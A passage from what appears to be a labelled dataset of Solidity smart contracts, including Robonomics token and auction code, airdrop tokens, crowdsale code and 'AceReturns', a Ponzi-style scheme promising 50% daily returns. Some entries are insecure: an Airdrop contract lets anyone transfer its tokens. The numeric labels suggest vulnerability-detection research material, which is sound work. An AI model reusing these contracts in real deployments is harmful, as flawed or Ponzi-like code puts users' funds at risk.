_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
contract DutchAuction is SignatureBouncer, Ownable {
using SafeERC20 for ERC20Burnable;
event BidSubmission(address indexed sender, uint256 amount);
uint constant public WAITING_PERIOD = 0;
ERC20Burnable public token;
address public ambix;
address payable public wallet;
uint public maxTokenSold;
uint public ceiling;
uint public priceFactor;
uint public startBlock;
uint public endTime;
uint public totalReceived;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TradingStarted
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier isValidPayload() {
require(msg.data.length == 4 || msg.data.length == 164);
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice())
finalizeAuction();
if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD)
stage = Stages.TradingStarted;
_;
}
constructor(address payable _wallet, uint _maxTokenSold, uint _ceiling, uint _priceFactor)
public
{
require(_wallet != address(0) && _ceiling > 0 && _priceFactor > 0);
wallet = _wallet;
maxTokenSold = _maxTokenSold;
ceiling = _ceiling;
priceFactor = _priceFactor;
stage = Stages.AuctionDeployed;
}
function setup(ERC20Burnable _token, address _ambix)
public
onlyOwner
atStage(Stages.AuctionDeployed)
{
require(_token != ERC20Burnable(0) && _ambix != address(0));
token = _token;
ambix = _ambix;
require(token.balanceOf(address(this)) == maxTokenSold);
stage = Stages.AuctionSetUp;
}
function startAuction()
public
onlyOwner
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
}
function calcCurrentTokenPrice()
public
timedTransitions
returns (uint)
{
if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted)
return finalPrice;
return calcTokenPrice();
}
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
function bid(bytes calldata signature)
external
payable
isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
onlyValidSignature(signature)
returns (uint amount)
{
require(msg.value > 0);
amount = msg.value;
address payable receiver = msg.sender;
uint maxWei = maxTokenSold * calcTokenPrice() / 10**9 - totalReceived;
uint maxWeiBasedOnTotalReceived = ceiling - totalReceived;
if (maxWeiBasedOnTotalReceived < maxWei)
maxWei = maxWeiBasedOnTotalReceived;
if (amount > maxWei) {
amount = maxWei;
receiver.transfer(msg.value - amount);
}
(bool success,) = wallet.call.value(amount)("");
require(success);
bids[receiver] += amount;
totalReceived += amount;
emit BidSubmission(receiver, amount);
if (amount == maxWei)
finalizeAuction();
}
function claimTokens()
public
isValidPayload
timedTransitions
atStage(Stages.TradingStarted)
{
address receiver = msg.sender;
uint tokenCount = bids[receiver] * 10**9 / finalPrice;
bids[receiver] = 0;
token.safeTransfer(receiver, tokenCount);
}
function calcStopPrice()
view
public
returns (uint)
{
return totalReceived * 10**9 / maxTokenSold + 1;
}
function calcTokenPrice()
view
public
returns (uint)
{
return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1;
}
function finalizeAuction()
private
{
stage = Stages.AuctionEnded;
finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice();
uint soldTokens = totalReceived * 10**9 / finalPrice;
if (totalReceived == ceiling) {
token.safeTransfer(ambix, maxTokenSold - soldTokens);
} else {
token.burn(maxTokenSold - soldTokens);
}
endTime = now;
}
}
pragma solidity ^0.5.0;
library SharedCode {
function proxy(address _shared) internal returns (address instance) {
bytes memory code = abi.encodePacked(
hex"603160008181600b9039f3600080808080368092803773",
_shared, hex"5af43d828181803e808314603057f35bfd"
);
assembly {
instance := create(0, add(code, 0x20), 60)
if iszero(extcodesize(instance)) {
revert(0, 0)
}
}
}
}
pragma solidity ^0.5.0;
contract ILiability {
event Finalized(bool indexed success, bytes result);
bytes public model;
bytes public objective;
bytes public result;
address public token;
uint256 public cost;
uint256 public lighthouseFee;
uint256 public validatorFee;
bytes32 public demandHash;
bytes32 public offerHash;
address public promisor;
address public promisee;
address public lighthouse;
address public validator;
bool public isSuccess;
bool public isFinalized;
function demand(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _lighthouse,
address _validator,
uint256 _validator_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
) external returns (bool);
function offer(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _validator,
address _lighthouse,
uint256 _lighthouse_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
) external returns (bool);
function finalize(
bytes calldata _result,
bool _success,
bytes calldata _signature
) external returns (bool);
}
pragma solidity ^0.5.0;
contract ILighthouse {
event Online(address indexed provider);
event Offline(address indexed provider);
event Current(address indexed provider, uint256 indexed quota);
address[] public providers;
function providersLength() public view returns (uint256)
{ return providers.length; }
mapping(address => uint256) public stakes;
uint256 public minimalStake;
uint256 public timeoutInBlocks;
uint256 public keepAliveBlock;
uint256 public marker;
uint256 public quota;
function quotaOf(address _provider) public view returns (uint256)
{ return stakes[_provider] / minimalStake; }
function refill(uint256 _value) external returns (bool);
function withdraw(uint256 _value) external returns (bool);
function createLiability(
bytes calldata _demand,
bytes calldata _offer
) external returns (bool);
function finalizeLiability(
address _liability,
bytes calldata _result,
bool _success,
bytes calldata _signature
) external returns (bool);
}
pragma solidity ^0.5.0;
contract IFactory {
event NewLiability(address indexed liability);
event NewLighthouse(address indexed lighthouse, string name);
mapping(address => bool) public isLighthouse;
mapping(address => uint256) public nonceOf;
uint256 public totalGasConsumed = 0;
mapping(address => uint256) public gasConsumedOf;
uint256 public constant gasEpoch = 347 * 10**10;
uint256 public gasPrice = 10 * 10**9;
function wnFromGas(uint256 _gas) public view returns (uint256);
function createLighthouse(
uint256 _minimalStake,
uint256 _timeoutInBlocks,
string calldata _name
) external returns (ILighthouse);
function createLiability(
bytes calldata _demand,
bytes calldata _offer
) external returns (ILiability);
function liabilityCreated(ILiability _liability, uint256 _start_gas) external returns (bool);
function liabilityFinalized(ILiability _liability, uint256 _start_gas) external returns (bool);
}
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.0;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
contract XRT is ERC20Mintable, ERC20Burnable, ERC20Detailed {
constructor(uint256 _initial_supply) public ERC20Detailed("Robonomics", "XRT", 9) {
_mint(msg.sender, _initial_supply);
}
}
pragma solidity ^0.5.0;
contract Lighthouse is ILighthouse {
using SafeERC20 for XRT;
IFactory public factory;
XRT public xrt;
function setup(XRT _xrt, uint256 _minimalStake, uint256 _timeoutInBlocks) external returns (bool) {
require(factory == IFactory(0) && _minimalStake > 0 && _timeoutInBlocks > 0);
minimalStake = _minimalStake;
timeoutInBlocks = _timeoutInBlocks;
factory = IFactory(msg.sender);
xrt = _xrt;
return true;
}
mapping(address => uint256) public indexOf;
function refill(uint256 _value) external returns (bool) {
xrt.safeTransferFrom(msg.sender, address(this), _value);
if (stakes[msg.sender] == 0) {
require(_value >= minimalStake);
providers.push(msg.sender);
indexOf[msg.sender] = providers.length;
emit Online(msg.sender);
}
stakes[msg.sender] += _value;
return true;
}
function withdraw(uint256 _value) external returns (bool) {
require(stakes[msg.sender] >= _value);
stakes[msg.sender] -= _value;
xrt.safeTransfer(msg.sender, _value);
if (quotaOf(msg.sender) == 0) {
uint256 balance = stakes[msg.sender];
stakes[msg.sender] = 0;
xrt.safeTransfer(msg.sender, balance);
uint256 senderIndex = indexOf[msg.sender] - 1;
uint256 lastIndex = providers.length - 1;
if (senderIndex < lastIndex)
providers[senderIndex] = providers[lastIndex];
providers.length -= 1;
indexOf[msg.sender] = 0;
emit Offline(msg.sender);
}
return true;
}
function keepAliveTransaction() internal {
if (timeoutInBlocks < block.number - keepAliveBlock) {
marker = indexOf[msg.sender];
require(marker > 0 && marker <= providers.length);
quota = quotaOf(providers[marker - 1]);
emit Current(providers[marker - 1], quota);
}
keepAliveBlock = block.number;
}
function quotedTransaction() internal {
require(providers.length > 0);
require(quota > 0);
require(msg.sender == providers[marker - 1]);
if (quota > 1) {
quota -= 1;
} else {
marker = marker % providers.length + 1;
quota = quotaOf(providers[marker - 1]);
emit Current(providers[marker - 1], quota);
}
}
function startGas() internal view returns (uint256 gas) {
gas = gasleft();
gas += 21000;
for (uint256 i = 0; i < msg.data.length; ++i)
gas += msg.data[i] == 0 ? 4 : 68;
}
function createLiability(
bytes calldata _demand,
bytes calldata _offer
)
external
returns (bool)
{
uint256 gas = startGas() + 4887;
keepAliveTransaction();
quotedTransaction();
ILiability liability = factory.createLiability(_demand, _offer);
require(liability != ILiability(0));
require(factory.liabilityCreated(liability, gas - gasleft()));
return true;
}
function finalizeLiability(
address _liability,
bytes calldata _result,
bool _success,
bytes calldata _signature
)
external
returns (bool)
{
uint256 gas = startGas() + 22335;
keepAliveTransaction();
quotedTransaction();
ILiability liability = ILiability(_liability);
require(factory.gasConsumedOf(_liability) > 0);
require(liability.finalize(_result, _success, _signature));
require(factory.liabilityFinalized(liability, gas - gasleft()));
return true;
}
}
pragma solidity ^0.5.0;
contract IValidator {
function isValidator(address _validator) external returns (bool);
}
pragma solidity ^0.5.0;
contract Liability is ILiability {
using ECDSA for bytes32;
using SafeERC20 for XRT;
using SafeERC20 for ERC20;
address public factory;
XRT public xrt;
function setup(XRT _xrt) external returns (bool) {
require(factory == address(0));
factory = msg.sender;
xrt = _xrt;
return true;
}
function demand(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _lighthouse,
address _validator,
uint256 _validator_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == factory);
require(block.number < _deadline);
model = _model;
objective = _objective;
token = _token;
cost = _cost;
lighthouse = _lighthouse;
validator = _validator;
validatorFee = _validator_fee;
demandHash = keccak256(abi.encodePacked(
_model
, _objective
, _token
, _cost
, _lighthouse
, _validator
, _validator_fee
, _deadline
, IFactory(factory).nonceOf(_sender)
, _sender
));
promisee = demandHash
.toEthSignedMessageHash()
.recover(_signature);
require(promisee == _sender);
return true;
}
function offer(
bytes calldata _model,
bytes calldata _objective,
address _token,
uint256 _cost,
address _validator,
address _lighthouse,
uint256 _lighthouse_fee,
uint256 _deadline,
address _sender,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == factory);
require(block.number < _deadline);
require(keccak256(model) == keccak256(_model));
require(keccak256(objective) == keccak256(_objective));
require(_token == token);
require(_cost == cost);
require(_lighthouse == lighthouse);
require(_validator == validator);
lighthouseFee = _lighthouse_fee;
offerHash = keccak256(abi.encodePacked(
_model
, _objective
, _token
, _cost
, _validator
, _lighthouse
, _lighthouse_fee
, _deadline
, IFactory(factory).nonceOf(_sender)
, _sender
));
promisor = offerHash
.toEthSignedMessageHash()
.recover(_signature);
require(promisor == _sender);
return true;
}
function finalize(
bytes calldata _result,
bool _success,
bytes calldata _signature
)
external
returns (bool)
{
require(msg.sender == lighthouse);
require(!isFinalized);
isFinalized = true;
result = _result;
isSuccess = _success;
address resultSender = keccak256(abi.encodePacked(this, _result, _success))
.toEthSignedMessageHash()
.recover(_signature);
if (validator == address(0)) {
require(resultSender == promisor);
} else {
require(IValidator(validator).isValidator(resultSender));
if (validatorFee > 0)
xrt.safeTransfer(validator, validatorFee);
}
if (cost > 0)
ERC20(token).safeTransfer(isSuccess ? promisor : promisee, cost);
emit Finalized(isSuccess, result);
return true;
}
}
pragma solidity ^0.5.0;
contract Factory is IFactory, SingletonHash {
constructor(
address _liability,
address _lighthouse,
DutchAuction _auction,
AbstractENS _ens,
XRT _xrt
) public {
liabilityCode = _liability;
lighthouseCode = _lighthouse;
auction = _auction;
ens = _ens;
xrt = _xrt;
}
address public liabilityCode;
address public lighthouseCode;
using SafeERC20 for XRT;
using SafeERC20 for ERC20;
using SharedCode for address;
DutchAuction public auction;
AbstractENS public ens;
XRT public xrt;
function smma(uint256 _prePrice, uint256 _price) internal pure returns (uint256) {
return (_prePrice * (smmaPeriod - 1) + _price) / smmaPeriod;
}
uint256 private constant smmaPeriod = 1000;
function wnFromGas(uint256 _gas) public view returns (uint256) {
if (auction.finalPrice() == 0)
return _gas * 150;
uint256 epoch = totalGasConsumed / gasEpoch;
uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice();
return wn < _gas ? _gas : wn;
}
modifier onlyLighthouse {
require(isLighthouse[msg.sender]);
_;
}
modifier gasPriceEstimate {
gasPrice = smma(gasPrice, tx.gasprice);
_;
}
function createLighthouse(
uint256 _minimalStake,
uint256 _timeoutInBlocks,
string calldata _name
)
external
returns (ILighthouse lighthouse)
{
bytes32 LIGHTHOUSE_NODE
= 0x8d6c004b56cbe83bbfd9dcbd8f45d1f76398267bbb130a4629d822abc1994b96;
bytes32 hname = keccak256(bytes(_name));
bytes32 subnode = keccak256(abi.encodePacked(LIGHTHOUSE_NODE, hname));
require(ens.resolver(subnode) == address(0));
lighthouse = ILighthouse(lighthouseCode.proxy());
require(Lighthouse(address(lighthouse)).setup(xrt, _minimalStake, _timeoutInBlocks));
emit NewLighthouse(address(lighthouse), _name);
isLighthouse[address(lighthouse)] = true;
ens.setSubnodeOwner(LIGHTHOUSE_NODE, hname, address(this));
AbstractResolver resolver = AbstractResolver(ens.resolver(LIGHTHOUSE_NODE));
ens.setResolver(subnode, address(resolver));
resolver.setAddr(subnode, address(lighthouse));
}
function createLiability(
bytes calldata _demand,
bytes calldata _offer
)
external
onlyLighthouse
returns (ILiability liability)
{
liability = ILiability(liabilityCode.proxy());
require(Liability(address(liability)).setup(xrt));
emit NewLiability(address(liability));
(bool success, bytes memory returnData)
= address(liability).call(abi.encodePacked(bytes4(0x48a984e4), _demand));
require(success);
singletonHash(liability.demandHash());
nonceOf[liability.promisee()] += 1;
(success, returnData)
= address(liability).call(abi.encodePacked(bytes4(0x413781d2), _offer));
require(success);
singletonHash(liability.offerHash());
nonceOf[liability.promisor()] += 1;
require(isLighthouse[liability.lighthouse()]);
if (liability.lighthouseFee() > 0)
xrt.safeTransferFrom(liability.promisor(),
tx.origin,
liability.lighthouseFee());
ERC20 token = ERC20(liability.token());
if (liability.cost() > 0)
token.safeTransferFrom(liability.promisee(),
address(liability),
liability.cost());
if (liability.validator() != address(0) && liability.validatorFee() > 0)
xrt.safeTransferFrom(liability.promisee(),
address(liability),
liability.validatorFee());
}
function liabilityCreated(
ILiability _liability,
uint256 _gas
)
external
onlyLighthouse
gasPriceEstimate
returns (bool)
{
address liability = address(_liability);
totalGasConsumed += _gas;
gasConsumedOf[liability] += _gas;
return true;
}
function liabilityFinalized(
ILiability _liability,
uint256 _gas
)
external
onlyLighthouse
gasPriceEstimate
returns (bool)
{
address liability = address(_liability);
totalGasConsumed += _gas;
gasConsumedOf[liability] += _gas;
require(xrt.mint(tx.origin, wnFromGas(gasConsumedOf[liability])));
return true;
}
} | 0 | 956 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract iConsortCandyToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "iconsortsolutions.com Candy Token";
string public constant symbol = "iconsortsolutions.com";
uint public constant decimals = 0;
uint256 public totalSupply = 4000000000;
uint256 public totalDistributed = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function iConsortCandyToken () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value > 0 );
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 3,791 |
pragma solidity ^0.4.25;
contract ERC20 {
function transfer(address _recipient, uint256 _value) public returns (bool success);
}
contract Airdrop {
function drop(ERC20 token, address[] recipients, uint256[] values) public {
for (uint256 i = 0; i < recipients.length; i++) {
token.transfer(recipients[i], values[i]);
}
}
} | 1 | 3,234 |
pragma solidity ^0.4.24;
contract AceReturns {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) recentinvestment;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 50;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
recentinvestment[msg.sender] = (msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
if (minutesCount < 4321) {
uint256 percent = recentinvestment[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
} else {
uint256 percentfinal = recentinvestment[_address].mul(150).div(100);
uint256 balancefinal = percentfinal.sub(withdrawals[_address]);
return balancefinal;
}
}
function getMinutes(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
return minutesCount;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkRecentInvestment(address _investor) public view returns (uint256) {
return recentinvestment[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,869 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
